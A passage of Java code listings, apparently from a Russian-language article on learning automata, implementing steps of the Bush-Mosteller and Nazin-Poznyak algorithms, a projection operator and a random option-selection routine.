NV_v[iter] = NV;
return CSI;
}
Листинг 4. Метод для реализации одного шага алгоритма Буша-Мостеллера
public static double algBuMost(double[] P, double GAM, int[] NV_v, int iter) {
int N = P.length;
int N1 = N - 1;
int NV = autom(P);
double CSI = poteri_binary(NV);
double X = CSI / N1;
for (int i = 0; i < N; i++) {
if (i == NV) {
P[i] = P[i] + GAM * (1.0 - P[i] - CSI);
} else {
P[i] = P[i] + GAM * (P[i] - X);
}
}
NV_v[iter] = NV;
return CSI;
}
Листинг 5. Метод для реализации одного шага алгоритма Назина-Позняка
public static double algStepPR(double[] P, double GAM, double EPS, double DEL, int[] NV_v, int iter) {
double CSI;
double S;
int NV = autom(P);
CSI = poteri(NV);
S = (CSI - DEL) * GAM / P[NV];
P[NV] = P[NV] - S;
System.arraycopy(proekNazinPoznyak(P, EPS), 0, P, 0, P.length);
NV_v[iter] = NV;
return CSI;
}
Листинг 6. Метод для реализации оператора проектирования
public static double[] proekNazinPoznyak(double[] q, double e) {
int N = q.length;
double r = e * N;
double ar = 1.0 - r;
double ak = N;
double sq1 = 0.0;
double[] p = new double[N];
boolean[] mon = new boolean[N];
boolean shagAlgo = true;
for (int i = 0; i < N; i++) {
sq1 += q[i];
p[i] = q[i];
}
sq1 = 1 - sq1;
for (int i = 0; i < N; i++) {
mon[i] = false;
p[i] = (p[i] - e) / ar;
}
sq1 /= ar;
while (shagAlgo) {
shagAlgo = false;
for (int i = 0; i < N; i++) {
if (!mon[i]) {
p[i] += sq1 / ak;
}
}
for (int i = 0; i < N; i++) {
if (!mon[i] && (p[i] < 0.0)) {
sq1 = p[i];
p[i] = 0.0;
mon[i] = true;
ak--;
shagAlgo = true;
break;
}
}
}
for (int i = 0; i < N; i++) {
p[i] = ar * p[i] + e;
}
return p;
}
Листинг 7. Метод для реализации выбора варианта методом половинного деления
public static int autom(double[] P) {
int N = P.length;
int N1 = N - 1;
int NC = N1;
double A = -randu();
for (int i = 0; i < N1; i++) {
A += P[i];
if (A < 0) {
continue;
} else {
NC = i;
break;
}
}
return NC;
}
-----------------------------------------------------------------------------------------